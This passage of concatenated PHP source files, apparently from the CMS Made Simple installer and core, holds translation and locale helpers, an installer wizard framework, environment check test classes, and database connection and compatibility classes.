   * @param string, The realm name. If empty, the default realm is assumed.
   */
  public function unload_realm($realm = '')
  {
    if( !$realm ) $realm = self::DFLT_REALM;
    if( isset($this->_langdata[$realm]) ) unset($this->_langdata[$realm]);
  }

  /**
   * Translate a string
   * uses the current realm, and the currently selected language.
   *
   * @param mixed - uses sprintf formatting,
   * @return string
   */
  public function translate()
  {
    $args = func_get_args();
    if( count($args) == 0 ) return;
    if( count($args) == 1 && is_array($args[0]) ) $args = $args[0];

    if( !$this->_langdata ) $this->_langdata = array();
    if( !isset($this->_langdata[$this->_realm]) ) $this->_langdata[$this->_realm] = $this->load_realm($this->_realm);

    // check to see if the key is available.
    $key = array_shift($args);
    if( !$key ) return;

    if( !isset($this->_langdata[$this->_realm][$key]) ) {
      return '-- Missing Languagestring - '.$key.' --';
    }
    else if( count($args) ) {
      return vsprintf($this->_langdata[$this->_realm][$key], $args);
    }
    else {
      return $this->_langdata[$this->_realm][$key];
    }
  }
} // end of class


function lang()
{
  try {
    $args = func_get_args();
    return langtools::get_instance()->translate($args);
  }
  catch( Exception $e ) {
    // nothing here.
  }
}

?><?php

namespace __appbase;

abstract class nls
{
  protected $_name;
  protected $_isocode;
  protected $_locale;
  protected $_fullname;
  protected $_encoding;
  protected $_aliases;
  protected $_display;

  abstract public function __construct();

  public function matches($str)
  {
    if( $str == $this->name() ) return TRUE;
    if( $str == $this->locale() ) return TRUE;
    if( $str == $this->isocode() ) return TRUE;
    if( $str == $this->fullname() ) return TRUE;
    $aliases = $this->aliases();
    if( !\is_array($aliases) ) $aliases = \explode(',', $aliases);
    if(\is_array($aliases) && \count($aliases) )
      {
	for($i = 0, $iMax = \count($aliases); $i < $iMax; $i++ )
	  {
	    if( $aliases[$i] == $str ) return TRUE;
	  }
      }
    return FALSE;
  }

  public function name()
  {
    $name = __CLASS__;
    if( endswith($name,'_nls') )
      {
	$name = \substr($name, 0, -4);
      }
    return $name;
  }

  public function isocode()
  {
    if( !$this->_isocode )
      {
	return \substr($this->name, 0, 2);
      }
    return $this->_isocode;
  }

  public function display()
  {
    if( !$this->_display )
      {
	return $this->fullname();
      }
    return $this->_display;
  }

  public function locale()
  {
    if( !$this->_locale )
      return $this->name();
    return $this->_locale;
  }

  public function encoding()
  {
    if( !$this->_encoding )
      return 'UTF-8';
    return $this->_encoding;
  }

  public function fullname()
  {
    if( !$this->_fullname ) return $this->name();
    return $this->_fullname;
  }

  public function aliases()
  {
    if( $this->_aliases )
      {
	if( \is_array($this->_aliases) )
	  return $this->_aliases;
	return \explode(',', $this->_aliases);
      }
  }

} // end of class
?><?php

namespace __appbase;

class nlstools
{
  private static $_instance;
  private $_nls;

  protected function __construct() {}

  public static function &get_instance()
  {
    if( !self::$_instance ) self::$_instance = new nlstools();
    return self::$_instance;
  }

  public static function set_nlshandler(nlstools &$obj)
  {
    self::$_instance = $obj;
  }

  protected function get_nls_dir()
  {
    return app::get_rootdir().'/lib/nls';
  }

  protected function load_nls()
  {
    if( is_array($this->_nls) ) return;

    $rdi = new \RecursiveDirectoryIterator($this->get_nls_dir());
    $rii = new \RecursiveIteratorIterator($rdi);

    $this->_nls = array();
    foreach( $rii as $file => $info ) {
      if( !endswith($file,'.nls.php') ) continue;
      $name = basename($file);
      $name = trim(substr($name,6,strlen($name)-14)).'_nls';

      include($file);

      $tmp = __NAMESPACE__.'\\'.$name;
      $obj = new $tmp;
      if( !is_a($obj,__NAMESPACE__.'\nls') ) {
          unset($obj);
          continue;
      }
      $this->_nls[$name] = $obj;
    }
  }

  public function get_list()
  {
    $this->load_nls();
    return array_keys($this->_nls);
  }

  public function &find($str)
  {
    $this->load_nls();
    foreach( $this->_nls as $name => &$nls ){
      if( $str == $name ) return $nls;
      if( $nls->matches($str) ) return $nls;
    }
    $obj = null;
    return $obj;
  }
} // end of class

?>
<?php

namespace __appbase;

class wizard
{
  private static $_instance = null;
  private $_name = null;
  private $_stepvar = 's';
  private $_steps;
  private $_stepobj;
  private $_classdir;
  private $_namespace;
  private $_initialized;

  const STATUS_OK    = 'OK';
  const STATUS_ERROR = 'ERROR';
  const STATUS_BACK  = 'BACK';
  const STATUS_NEXT  = 'NEXT';

  private function __construct($classdir,$namespace)
  {
    $this->_namespace = $namespace;
    if( !is_dir($classdir) ) throw new \Exception('Could not find wizard steps in '.$classdir);

    $this->_classdir = $classdir;
    $this->_name = basename($classdir);

  }

  final public static function &get_instance($classdir = '', $namespace = '')
  {
    if( !self::$_instance ) self::$_instance = new wizard($classdir,$namespace);
    return self::$_instance;
  }

  private function _init()
  {
      if( $this->_initialized ) return;
      $this->_initialized = true;

      // find all of the classes in the wizard directory.
      $di = new \DirectoryIterator($this->_classdir);
      $ri = new \RegexIterator($di,'/^class\.wizard.*\.php$/');
      $files = array();
      foreach( $ri as $one ) {
          $files[] = $one->getFilename();
      }
      if( !count($files) ) throw new \Exception('Could not find wizard steps in '.$classdir);
      sort($files);

      $_data = array();
      for( $i = 0; $i < count($files); $i++ ) {
          $idx = $i+1;
          $filename = $files[$i];
          $classname = substr($filename,6,strlen($filename)-10);
          $rec = array('fn'=>$filename,'class'=>'','name'=>'','description'=>'','active'=>'');
          $fullclass = $classname;

          if( $this->_namespace ) $fullclass = $this->_namespace.'\\'.$classname;
          $rec['classname'] = $classname;
          $rec['class'] = $fullclass;
          $rec['active'] = ($idx == $this->cur_step())?1:0;
          $_data[$idx] = $rec;
      }
      $this->_steps = $_data;
  }

  final public function get_nav()
  {
    $this->_init();
    return $this->_steps;
  }

  final public function get_step_var()
  {
    return $this->_stepvar;
  }

  final public function set_step_var($str)
  {
    if( $str ) $this->_stepvar = $str;
  }

  final public function cur_step()
  {
    $val = 1;
    if( $this->_stepvar && isset($_GET[$this->_stepvar]) ) $val = (int)$_GET[$this->_stepvar];
    return $val;
  }

  final public function finished()
  {
    $this->_init();
    return $this->cur_step() > $this->num_steps();
  }

  final public function num_steps()
  {
    $this->_init();
    return count($this->_steps);
  }

  final public function &get_step()
  {
    $this->_init();
    if( is_object($this->_stepobj) ) return $this->_stepobj;

    $rec = $this->_steps[$this->cur_step()];
    if( isset($rec['class']) && class_exists($rec['class']) ) {
      $obj = new $rec['class'];
      if( is_object($obj) ) {
	$this->_stepobj = $obj;
	return $obj;
      }
    }
  }

  public function get_data($key,$dflt = null)
  {
      $sess = session::get();
      if( !isset($sess[$key]) ) return $dflt;
      return $sess[$key];
  }

  public function set_data($key,$value)
  {
      $sess = session::get();
      $sess[$key] = $value;
  }

  public function clear_data($key)
  {
      $sess = session::get();
      if( isset($sess[$key]) ) unset($sess[$key]);
  }

  public function process()
  {
      $this->_init();
      $res = $this->get_step()->run();
      return $res;
  }

  final public function step_url($idx)
  {
    $this->_init();
    
    // get the url to the specified step index
    $idx = (int)$idx;
    if( $idx < 1 || $idx > $this->num_steps() ) return '';
    
    $request = request::get();
    $url = $request->raw_server('REQUEST_URI');
    $urlmain = \explode('?', $url);
    
    \parse_str($url, $parts);
    \array_shift($parts);
    $parts[$this->_stepvar] = $idx;
    
    $tmp = [];
    foreach($parts as $k => $v) { $tmp[] = $k . '=' . $v; }
    $url = $urlmain[0].'?' . \implode('&', $tmp);
    return $url;
  }
  
  final public function next_url()
  {
    $this->_init();
    $request = request::get();
    $url     = $request->raw_server('REQUEST_URI');
    
    $urlmain = \explode('?', $url);
    
    \parse_str($url, $parts);
    $parts[$this->_stepvar] = $this->cur_step() + 1;
    
    if($parts[$this->_stepvar] > $this->num_steps()) { return ''; }
    
    \array_shift($parts);
    
    $tmp = [];
    foreach($parts as $k => $v) { $tmp[] = $k . '=' . $v; }
    
    $url = $urlmain[0] . '?' . \implode('&', $tmp);
    
    return $url;
  }

  final public function prev_url()
  {
    $this->_init();
    $request = request::get();
    $url = $request->raw_server('REQUEST_URI');
    $urlmain = \explode('?', $url);

    \parse_str($url, $parts);
    $parts[$this->_stepvar] = $this->cur_step() - 1;
    if( $parts[$this->_stepvar] <= 0 ) { return ''; }

    $tmp = [];
    if(\count($parts))
    {
      \array_shift($parts);
      
      foreach($parts as $k => $v) { $tmp[] = $k . '=' . $v; }
    }
    
    $url = $urlmain[0].'?' . \implode('&', $tmp);
    
    return $url;
  }

} // end of class
?>
<?php

namespace __appbase;

abstract class wizard_step
{
  public function __construct() {
    //echo 'DEBUG: create wizard step<br/>';
  }

  /**
   * Process the results of this step's form (POST only)
   */
  abstract protected function process();

  /**
   * Display information for this step
   */
  abstract protected function display();

  public function get_name() { return \get_class($this); }
  public function get_description() { return null; }

  public function get_wizard()
  {
    return wizard::get_instance();
  }

  public function cur_step()
  {
    return wizard::get_instance()->cur_step();
  }

  public function run()
  {
    $request = request::get();
    if( $request->is_post() ) $res = $this->process();
    $this->display();
    return wizard::STATUS_OK;
  }
} // end of class

?><?php

namespace __appbase\tests;

class boolean_test extends test_base
{
  private $_data = [];

  public function __construct($name,$value)
  {
    $value = (bool)$value;
    parent::__construct($name,$value);
  }

  public function execute()
  {
    $val = \__appbase\utils::to_bool($this->value);
    if( $val ) return self::TEST_PASS;
    return self::TEST_FAIL;
  }
}
<?php

namespace __appbase\tests;

class informational_test extends test_base
{
  /**
   * @var mixed|string
   */
  protected $msg_key;
  
  public function __construct($name, $value, $message = '', $key = '')
  {
    parent::__construct($name,$value,$key);
    if( $message )
      {
	$this->msg_key = $message;
      }
  }

  /**
   * Execute the test
   *
   * @return integer -1 for fail
   */
  public function execute() {}
} // end of class

?><?php

namespace __appbase\tests;

class matchall_test extends test_base
{
    private $_children;

    public function __construct($name)
    {
        parent::__construct($name,'');
    }

    public function add_child(test_base $obj)
    {
        if( !\is_array($this->_children) ) $this->_children = [];
        $this->_children[] = $obj;
    }


    public function __set($key,$value)
    {
        switch( $key ){
        case 'minimum':
        case 'maximum':
        case 'recommended':
        case 'success_key':
        case 'pass_key':
        case 'fail_key':
            $this->$key = $value;
            break;

        default:
            parent::__set($key,$value);
        }
    }

    public function execute()
    {
        $out = self::TEST_PASS;
        if( \count($this->_children) ) {
          foreach($this->_children as $iValue)
          {
              $res = $iValue->run();
              if( $res == self::TEST_FAIL ) {
                  // test failed.... if this test is not required, we can continue
                  if( $this->required ) return $res;
                  $out = self::TEST_WARN;
              }
          }
        }
        return $out;
    }
  
  /**
   * @throws \Exception
   */
  public function msg()
    {
        switch( $this->status ) {
        case self::TEST_FAIL:
            foreach($this->_children as $iValue)
            {
                $obj = $iValue;
                if( $obj->status == self::TEST_FAIL ) {
                    if( $obj->fail_msg ) return $obj->fail_msg;
                    if( $obj->fail_key ) return \__appbase\lang($obj->fail_key);
                }
            }
        break;

        case self::TEST_WARN:
          foreach($this->_children as $iValue)
          {
              $obj = $iValue;
              if( $obj->status == self::TEST_FAIL ) {
                  if( $obj->warn_msg ) return $obj->warn_msg;
                  if( $obj->warn_key ) return \__appbase\lang($obj->warn_key);
              }
          }
        }

        return parent::msg();
    }
} // end of class

?><?php

namespace __appbase\tests;

class matchany_test extends test_base
{
  private $_children;

  public function __construct($name)
  {
    parent::__construct($name,'');
  }

  public function add_child(test_base $obj) : void
  {
    if( !\is_array($this->_children) )
      $this->_children = [];

    $this->_children[] = $obj;
  }

  public function __set($key,$value)
  {
    switch( $key )
      {
      case 'minimum':
      case 'maximum':
      case 'recommended':
      case 'success_key':
      case 'pass_key':
      case 'fail_key':
	$this->$key = $value;
	break;

      default:
	parent::__set($key,$value);
      }
  }
  
  
  public function execute()
  {
    if(\count($this->_children))
    {
      foreach($this->_children as $iValue)
      {
        $res = $iValue->execute();
        if($res == self::TEST_PASS)
        {
          return self::TEST_PASS;
        }
      }
    }
    
    return self::TEST_FAIL;
  }
}

?><?php

namespace __appbase\tests;

class range_test extends test_base
{
  public function __construct($name,$value)
  {
      parent::__construct($name,$value);
  }


  public function __set($key,$value)
  {
      switch( $key )
      {
      case 'minimum':
      case 'maximum':
          $this->$key = $value;
          break;

      default:
          parent::__set($key,$value);
      }
  }


  public function execute()
  {
      if( $this->minimum )
      {
          $min = $this->returnBytes($this->minimum);
          $val = $this->returnBytes($this->value);
          if( $val < $min ) return self::TEST_FAIL;
      }
      if( $this->recommended )
      {
          $rec = $this->returnBytes($this->recommended);
          $val = $this->returnBytes($this->value);
          if( $val < $rec ) return self::TEST_WARN;
      }
      if( $this->maximum )
      {
          $max = $this->returnBytes($this->maximum);
          $val = $this->returnBytes($this->value);
          if( $val > $max ) return self::TEST_FAIL;
      }
      return self::TEST_PASS;
  }
}

?><?php

namespace __appbase\tests;

function test_extension_loaded($name) : bool
{
  $a = \extension_loaded(\strtoupper($name));
  $b = \extension_loaded(\strtoupper($name));
  return $a || $b;
}


function test_apache_module($name)
{
  if( !$name ) return FALSE;
  if( !\function_exists('apache_get_modules') ) return FALSE;
  $modules = \apache_get_modules();
  if( \in_array($name, $modules) ) return TRUE;
  return FALSE;
}


function test_is_false($val)
{
  return (FALSE == \__appbase\utils::to_bool($val));
}


function test_is_true($val)
{
  return (TRUE == \__appbase\utils::to_bool($val));
}


function test_remote_file($url,$timeout = 3,$searchString = '') : bool
{
  $timeout = \max(1, \min(360, $timeout));
  $req = new \__appbase\http_request;
  $req->setTarget($url);
  $req->setTimeout($timeout);
  $req->execute();
  if(200 != $req->getStatus()) return FALSE;
  if( $searchString && FALSE === \strpos($req->getResult(), $searchString)) return FALSE;
  return TRUE;
}

#[\AllowDynamicProperties]
abstract class test_base
{
  const TEST_UNTESTED = 'test_untested';
  const TEST_PASS     = 'test_pass';
  const TEST_FAIL     = 'test_fail';
  const TEST_WARN     = 'test_warn';

  private static $_keys = [
    'name', 'name_key', 'status', 'value', 'required', 'minimum', 'maximum', 'recommended', 'pass_key', 'pass_msg', 'fail_msg',
    'fail_key', 'warn_key', 'warn_msg', 'msg_key', 'msg'
  ];
  private $_data = [];

  public function __construct($name,$value,$key = '')
  {
    if( !$name ) throw new \RuntimeException(\__appbase\lang('error_test_name'));
    $this->name = $name;
    $this->name_key = $name;
    $this->value = $value;
    if( $key ) $this->name_key = $key;
    $this->status = self::TEST_UNTESTED;
    $this->required = 0;
  }

  public function __get($key)
  {
    if( !\in_array($key, self::$_keys) ) throw new \RuntimeException(\__appbase\lang('error_invalidkey', $key, __CLASS__));
    if( isset($this->_data[$key]) ) return $this->_data[$key];
  }

  public function __isset($key)
  {
    if( !\in_array($key, self::$_keys) ) throw new \RuntimeException(\__appbase\lang('error_invalidkey', $key, __CLASS__));
    return isset($this->_data[$key]);
  }

  public function __set($key,$value)
  {
    if( !\in_array($key, self::$_keys) ) throw new \RuntimeException(\__appbase\lang('error_invalidkey', $key, __CLASS__));
    if(NULL === $value || '' === $value)
    {
      unset($this->_data[$key]);
      
      return;
    }

    $this->_data[$key] = $value;
  }

  public function __unset($key)
  {
    if( !\in_array($key, self::$_keys) ) throw new \RuntimeException(\__appbase\lang('error_invalidkey', $key, __CLASS__));
    unset($this->_data[$key]);
  }

  abstract public function execute();

  public function run()
  {
    $res = $this->execute();
    switch( $res ) {
    case self::TEST_PASS:
    case self::TEST_FAIL:
    case self::TEST_WARN:
      $this->status = $res;
      break;

    case self::TEST_UNTESTED:
    default:
      throw new \RuntimeException(\__appbase\lang('error_test_invalidresult') . ' ' . $res);
    }

    return $this->status;
  }

  public function msg()
  {
    if( $this->msg ) return $this->msg;
    if( $this->msg_key ) return $this->msg_key;

    switch( $this->status ) {
    case self::TEST_PASS:
      if( $this->pass_msg ) return $this->pass_msg;
      if( $this->pass_key ) return \__appbase\lang($this->pass_key);
      break;

    case self::TEST_FAIL:
      if( $this->fail_msg ) return $this->fail_msg;
      if( $this->fail_key ) return \__appbase\lang($this->fail_key);
      break;

    case self::TEST_WARN:
      if( $this->warn_msg ) return $this->warn_msg;
      if( $this->warn_key ) return \__appbase\lang($this->warn_key);
      break;

    default:
      throw new \Exception(\__appbase\lang('error_test_invalidstatus'));
    }
  }

  protected function returnBytes($val)
  {
      if(\is_string($val) && '' != $val) {
          $val = \trim($val);
          $last = \strtolower(\substr($val, -1));
          $val = (float) \substr($val, 0, -1);
          switch($last) {
          case 'g':
              $val *= 1024.0;
          case 'm':
              $val *= 1024.0;
          case 'k':
              $val *= 1024.0;
          }
      }

      return $val;
  }
} // end of class

?><?php

namespace __appbase\tests;

class version_range_test extends test_base
{
  public function __construct($name,$value)
  {
    parent::__construct($name,$value);
  }

  public function __set($key,$value)
  {
    switch( $key )
      {
      case 'minimum':
      case 'maximum':
      case 'recommended':
      case 'success_key':
      case 'pass_key':
      case 'fail_key':
	$this->$key = $value;
	break;

      default:
	parent::__set($key,$value);
      }
  }

  public function execute()
  {
    // make sure we have all of the information.
    // do the test
    // set the result.
    if( $this->minimum ) {
      if(\version_compare($this->value, $this->minimum) < 0 ) return self::TEST_FAIL;
    }
    if( $this->maximum ) {
      if(\version_compare($this->value, $this->maximum) > 0 ) return self::TEST_FAIL;
    }
    if( $this->recommended ) {
      if(\version_compare($this->value, $this->recommended) < 0 ) return self::TEST_WARN;
    }
    return self::TEST_PASS;
  }
}

?><?php

namespace __appbase\tests;

// just like a boolean test, but uses TEST_WARN installed of TEST_FAIL
class warning_test extends test_base
{
  private $_data = [];

  public function __construct($name,$value)
  {
    $value = (bool)$value;
    parent::__construct($name,$value);
  }

  public function execute()
  {
    $val = \__appbase\utils::to_bool($this->value);
    if( $val ) return self::TEST_PASS;
    return self::TEST_WARN;
  }
}
<?php
#BEGIN_LICENSE
#-------------------------------------------------------------------------
# Module: CMSMS\Database\compatibility (c) 2015 by Robert Campbell
#         (calguy1000@cmsmadesimple.org)
# A collection of compatibility tools for the database connectivity layer.
#
#-------------------------------------------------------------------------
# CMS - CMS Made Simple is (c) 2005 by Ted Kulp (wishy@cmsmadesimple.org)
# Visit our homepage at: http://www.cmsmadesimple.org
#
#-------------------------------------------------------------------------
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# However, as a special exception to the GPL, this software is distributed
# as an addon module to CMS Made Simple.  You may not use this software
# in any Non GPL version of CMS Made simple, or in any version of CMS
# Made simple that does not indicate clearly and obviously in its admin
# section that the site was built with CMS Made simple.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#
#-------------------------------------------------------------------------
#END_LICENSE

/**
 * This file contains some database connectivity tools.
 *
 * @package CMS
 */

namespace CMSMS\Database {

    /**
     * A class for providing some compatibility functionality with older module code
     *
     * @todo: move this class to a different function and rename.
     */
    final class compatibility
    {
        /**
         * @ignore
         */
        private function __construct() {}

        /**
         * Initialize the database connection according to config settings.
         *
         * @internal
         * @param cms_config $config The config object
         * @return \CMSMS\Database\Connection
         */
        public static function init(\cms_config $config)
        {
            $spec = new ConnectionSpec;
            $spec->type = $config['dbms'];
            $spec->host = $config['db_hostname'];
            $spec->username = $config['db_username'];
            $spec->password = $config['db_password'];
            $spec->dbname = $config['db_name'];
            $spec->port = $config['db_port'];
            $spec->debug = CMS_DEBUG;

            $tmp = [];
            if( $config['set_names'] ) $tmp[] = "NAMES 'utf8'";
            if( $config['set_db_timezone'] ) {
                $dt = new \DateTime();
                $dtz = new \DateTimeZone($config['timezone']);
                $offset = timezone_offset_get($dtz,$dt);
                $symbol = ($offset < 0) ? '-' : '+';
                $hrs = abs((int)($offset / 3600));
                $mins = abs((int)($offset % 3600));
                $tmp[] = sprintf("time_zone = '%s%d:%02d'",$symbol,$hrs,$mins);
            }
            if( count($tmp) ) $spec->auto_exec = 'SET '.implode(',',$tmp);

            $obj = Connection::Initialize($spec);
            $obj->SetErrorHandler( '\\CMSMS\Database\\compatibility::on_error' );
            if( $spec->debug ) $obj->SetDebugCallback('debug_buffer');
            return $obj;
        }

        public static function on_error( Connection $conn, $errtype, $error_number, $error_msg )
        {
            debug_to_log("Database Error: $errtype($error_number) - $error_msg");
            debug_bt_to_log();
            if( !defined('CMS_DEBUG') || CMS_DEBUG == 0 ) return;
            \CmsApp::get_instance()->add_error(debug_display($error_msg, '', false, true));
        }

        /**
         * A static no-op function  that allows the autoloader to load this file
         */
        public static function noop()
        {
            // do nothing
        }
    } // end of class
} // end of namespace

namespace {
    // root namespace stuff

    /**
     * A constant to assist with date and time flags in the data dictionary.
     *
     * @name CMS_ADODB_DT
     */
    define('CMS_ADODB_DT','DT'); // backwards compatibility.

    /**
     * A method to create a new data dictionary object
     *
     * @param \CMSMS\Database\Connection $conn The existing database connection.
     * @return \CMSMS\Database\DataDictionary
     * @deprecated
     */
    function &NewDataDictionary(\CMSMS\Database\Connection $conn)
    {
        // called by module installation routines.
        return $conn->NewDataDictionary();
    }

    /**
     * A function co create a new adodb database connection.
     *
     * @param string $dbms
     * @param string $flags
     * @return \CMSMS\Database\Connection
     * @deprecated
     */
    function &ADONewConnection( $dbms, $flags )
    {
        // now that our connection object is stateless... this is just a wrapper
        // for our global db instance.... but should not be called.
        return \CmsApp::get_instance()->GetDb();
    }

    /**
     * A function forumerly used to load the adodb library.
     * This method currently has no functionality.
     *
     * @deprecated
     */
    function load_adodb()
    {
        // this should only have been called by the core
        // but now does nothing, just in case it is called.
    }

    /**
     * An old method formerly used to ensure that we were re-connected to the proper database.
     * This method currently has no functionality.
     *
     * @deprecated
     */
    function adodb_connect()
    {
        // this may be called by UDT's etc. that are talking to other databases
        // or using manual mysql methods.
    }

    /**
     * An old function for handling a database error.
     *
     * @param string $dbtype
     * @param string $function_performed
     * @param int    $error_number
     * @param string $error_message
     * @param string $host
     * @param string $database
     * @param mixed  $connection_obj
     * @deprecated
     */
    function adodb_error($dbtype,$function_performed,$error_number,$error_message,
                         $host, $database, &$connection_obj)
    {
        // does nothing.... remove me later.
    }

}
?>
<?php
#BEGIN_LICENSE
#-------------------------------------------------------------------------
# Module: \CMSMS\Database\Connection (c) 2015 by Robert Campbell
#         (calguy1000@cmsmadesimple.org)
#  A class to define interaction with a database.
#
#-------------------------------------------------------------------------
# CMS - CMS Made Simple is (c) 2005 by Ted Kulp (wishy@cmsmadesimple.org)
# Visit our homepage at: http://www.cmsmadesimple.org
#
#-------------------------------------------------------------------------
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# However, as a special exception to the GPL, this software is distributed
# as an addon module to CMS Made Simple.  You may not use this software
# in any Non GPL version of CMS Made simple, or in any version of CMS
# Made simple that does not indicate clearly and obviously in its admin
# section that the site was built with CMS Made simple.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#
#-------------------------------------------------------------------------
#END_LICENSE

/**
 * This file defines the abstract database connection class.
 *
 * @package CMS
 */

namespace CMSMS\Database {

    /**
     * A class defining a database connection, and mechanisms for working with a database.
     *
     * This library is largely compatible with adodb_lite with the pear,extended,transaction plugins with a few
     * notable differences:
     *
     * Differences:
     * <ul>
     *  <li>GenID will not automatically create a sequence table.
     *    <p>We encourage you to not use sequence tables and use auto-increment fields instead.</p>
     *  </li>
     * </ul>
     *
     * @package CMS
     * @author Robert Campbell
     * @copyright Copyright (c) 2015, Robert Campbell <calguy1000@cmsmadesimple.org>
     * @since 2.2
     * @property-read float $query_time_total The total query time so far in this request (in seconds)
     * @property-read int $query_count The total number of queries executed so far.
     */
    abstract class Connection
    {
        /**
         * This constant defines an error with connecting to the database.
         */
        const ERROR_CONNECT = 'CONNECT';

        /**
         * This constant defines an error with an execute statement.
         */
        const ERROR_EXECUTE = 'EXECUTE';

        /**
         * This constant defines an error with a transaction.
         */
        const ERROR_TRANSACTION = 'TRANSACTION';

        /**
         * This constant defines an error in a datadictionary command.
         */
        const ERROR_DATADICT = 'DATADICTIONARY';

        /**
         * @ignore
         */
        private $_debug;

        /**
         * @ignore
         */
        private $_debug_cb;

        /**
         * @ignore
         */
        private $_query_count = 0;

        /**
         * @ignore
         */
        private $_queries = array();

        /**
         * @ignore
         */
        private $_errorhandler;

        /**
         * The actual connectionspec object.
         *
         * @internal
         */
        protected $_connectionSpec;

        /**
         * The last SQL command executed
         *
         * @internal
         * @param string $sql
         */
        public $sql;

        /**
         * Accumulated sql query time.
         *
         * @internal
         * @param float $query_time_total
         */
        protected $query_time_total;

        /**
         * Construct a new Connection.
         *
         * @param \CMSMS\Database\ConnectionSpec $spec
         */
        public function __construct(ConnectionSpec $spec)
        {
            $this->_connectionSpec = $spec;
        }

        /**
         * @ignore
         */
        public function __get($key)
        {
            if( $key == 'query_time_total' ) return $this->query_time_total;
            if( $key == 'query_count' ) return $this->_query_count;
        }

        /**
         * @ignore
         */
        public function __isset($key)
        {
            if( $key == 'query_time_total' ) return TRUE;
            if( $key == 'query_count' ) return TRUE;
            return FALSE;
        }

        /**
         * Create a new data dictionary object.
         * Data Dictionary objects are used for manipulating tables, i.e: creating, altering and editing them.
         * @return \CMSMS\Database\DataDictionary
         */
        abstract public function &NewDataDictionary();

        /**
         * Return the database type.
         *
         * @return string
         */
        abstract public function DbType();

        /**
         * Open the database connection.
         *
         * @return bool Success or failure
         */
        abstract public function Connect();

        /**
         * Close the database connection.
         */
        abstract public function Disconnect();

        /**
         * Test if the connection object is connected to the database.
         *
         * @return bool
         */
        abstract public function IsConnected();

        /**
         * An alias for Disconnect.
         */
        final public function Close() { return $this->Disconnect(); }

        //// utilities

        /**
         * Quote a string magically using the magic quotes flag.
         * This method is now just a deprecated alias for the qstr flag
         * as we now require magic quotes to be disabled.
         *
         * @deprecated
         * @param string $str
         * @return string
         */
        public function QMagic($str)
        {
            return $this->qstr($str);
        }

        /**
         * Quote a string in a database agnostic manner.
         * Warning: This method may require two way traffic with the database depending upon the database.
         * @param string $str
         * @return string
         */
        abstract public function qstr($str);

        /**
         * output the mysql expression for a string concatenation.
         * This function accepts a variable number of string arguments.
         *
         * @param $str First string to concatenate
         * @param $str,... unlimited number of strings to concatenate.
         * @return string
         */
        abstract public function concat();

        /**
         * Output the mysql expression to test if an item is null.
         *
         * @param string $field The field to test
         * @param string $ifNull The value to use if $field is null.
         * @return string
         */
        abstract public function IfNull( $field, $ifNull );

        /**
         * Output the number of rows affected by the last query.
         *
         * @return int
         */
        abstract public function Affected_Rows();

        /**
         * Return the numeric ID of the last insert query into a table with an auto-increment field.
         * @return int
         */
        abstract public function Insert_ID();

        //// primary query functions

        /**
         * The primary function for communicating with the database.
         *
         * @internal
         * @param string $sql The SQL query
         */
        abstract public function &do_sql($sql);

        /**
         * Create a prepared statement object.
         *
         * @param string $sql The SQL query
         * @return Statement
         */
        abstract public function &Prepare($sql);

        /**
         * Execute an SQL Select and limit the output.
         *
         * @param string $sql
         * @param int $nrows  The number of rows to return
         * @param int $offset The starting offset of rows to return
         * @param array Any additional paramters required by placeholders in the $sql statement.
         * @return \CMSMS\Database\ResultSet
         */
        public function &SelectLimit( $sql, $nrows = -1, $offset = -1, $inputarr = null )
        {
            $limit = null;
            $nrows = (int) $nrows;
            $offset = (int) $offset;
            if( $nrows >= 0 || $offset >= 0 ) {
                $offset = ($offset >= 0) ? $offset . "," : '';
                $nrows = ($nrows >= 0) ? $nrows : '18446744073709551615';
                $limit = ' LIMIT ' . $offset . ' ' . $nrows;
            }

            if ($inputarr && is_array($inputarr)) {
                $sqlarr = explode('?',$sql);
                if( !is_array(reset($inputarr)) ) $inputarr = array($inputarr);
                foreach( $inputarr as $arr ) {
                    $sql = ''; $i = 0;
                    foreach( $arr as $v ) {
                        $sql .= $sqlarr[$i];
                        switch(gettype($v)){
                        case 'string':
                            $sql .= $this->qstr($v);
                            break;
                        case 'double':
                            $sql .= str_replace(',', '.', $v);
                            break;
                        case 'boolean':
                            $sql .= $v ? 1 : 0;
                            break;
                        default:
                            if ($v === null) $sql .= 'NULL';
                            else $sql .= $v;
                        }
                        $i += 1;
                    }
                    $sql .= $sqlarr[$i];
                    if ($i+1 != sizeof($sqlarr)) {
                        $false = null;
                        return $false;
                    }
                }
            }
            $sql .= $limit;

            $rs = $this->do_sql( $sql );
            return $rs;
        }

        /**
         * Execute an SQL Command
         *
         * @param string $sql The SQL statement to execute.
         * @param array $inputarr Any parameters marked as placeholders in the SQL statement.
         * @return \CMSMS\Database\ResultSet
         */
        public function &Execute($sql, $inputarr = null)
        {
            $rs = $this->SelectLimit($sql, -1, -1, $inputarr );
            return $rs;
        }

        /**
         * Execute an SQL Commmand and return all of the results as an array.
         *
         * @param string $sql The SQL statement to execute.
         * @param array $inputarr Any parameters marked as placeholders in the SQL statement.
         * @return array An associative array of matched results.
         */
        public function GetArray($sql, $inputarr = null)
        {
            $result = $this->SelectLimit( $sql, -1, -1, $inputarr );
            if( !$result ) return;
            $data = $result->GetArray();
            return $data;
        }

        /**
         * An alias for the GetArray method.
         *
         * @param string $sql The SQL statement to execute.
         * @param array $inputarr Any parameters marked as placeholders in the SQL statement.
         * @return array
         */
        public function GetAll($sql, $inputarr = null)
        {
            return $this->GetArray($sql, $inputarr);
        }

        /**
         * A method to return an associative array.
         *
         * @deprecated
         * @see Pear::getAssoc()
         * @param string $sql The SQL statement to execute
         * @param array $inputarr Any parameters marked as placeholders in the SQL statement.
         * @param bool $force_array Force each element of the output to be an associative array.
